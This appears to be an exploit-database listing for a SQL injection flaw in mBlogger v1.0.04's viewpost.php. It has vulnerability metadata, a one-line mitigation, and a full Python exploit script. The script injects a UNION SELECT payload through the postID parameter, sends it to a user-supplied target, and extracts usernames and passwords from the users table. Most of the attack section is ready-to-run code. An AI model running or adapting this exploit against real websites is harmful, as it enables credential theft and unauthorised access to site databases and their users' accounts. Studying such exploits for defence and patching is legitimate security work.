mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit

vendor:

mblogger

by:

Ptrace Security (Gianni Gnesa [gnix])

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: mblogger

Affected Version From: 1.0.04

Affected Version To: 1.0.04

Patch Exists: NO

Related CWE: N/A

CPE: a:mblogger:mblogger:1.0.04

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: EasyPHP 5.3.1.0 for Windows

2010

mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit

mBlogger v1.0.04 is vulnerable to a SQL injection vulnerability due to improper sanitization of user-supplied input in the 'postID' parameter of the 'viewpost.php' script. An attacker can exploit this vulnerability to extract sensitive information from the database, such as usernames and passwords.

Mitigation:

Input validation should be performed to ensure that untrusted data is not used to construct SQL queries.

Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Exploit Title:   mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit
# Date         :   31 August 2010
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/mblogger/
# Version      :   1.0.04
# Tested on    :   EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + viewpost.php => SQL Injection!!
#
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE
#     id = '$_GET[postID]'";
# 31: $result = mysql_query($query) or die(mysql_error());
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))
# 33: {
# 34: 	echo "<div class='posttitle'>";
# 35: 	echo "<h3>" . $row['subject'] . "</h3>";
# 36: 	echo "</div>";
# 37: 	echo "<div class='postbody'>";
# 38: 	echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";
# 39: 	echo "<p>" . $row['message'] . "</p>";
# 40: 	echo "</div>";
# 41: 	$postID = $row['id'];
# 42: }
#

import re
import sys
import http.client


def usage(prog):
    print('Usage  : ' + prog + ' <target> <path>\n')
    print('Example: ' + prog + ' localhost /mBlogger/')
    print('         ' + prog + ' www.target.com /complet/path/')
    return


def exploit(target, path):
    payload  = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'
    payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'
    payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'

    print('[+] Sending HTTP Request')
    con = http.client.HTTPConnection(target)
    con.request('GET', path + payload)
    res = con.getresponse()

    if res.status != 200:
        print('[!] HTTP GET Request Failed')
        exit(1)

    print('[+] Parsing HTTP Response')
    data = res.read().decode()
    pattern = re.compile(r"<1>(.+?)<2>", re.M)
    
    print('[+] Information Extracted:\n') 
    credentials = pattern.findall(data)
    for element in credentials:
        print(element)
    
    return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security    |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 3:
    usage(sys.argv[0])
else:
    exploit(sys.argv[1], sys.argv[2])

exit(0)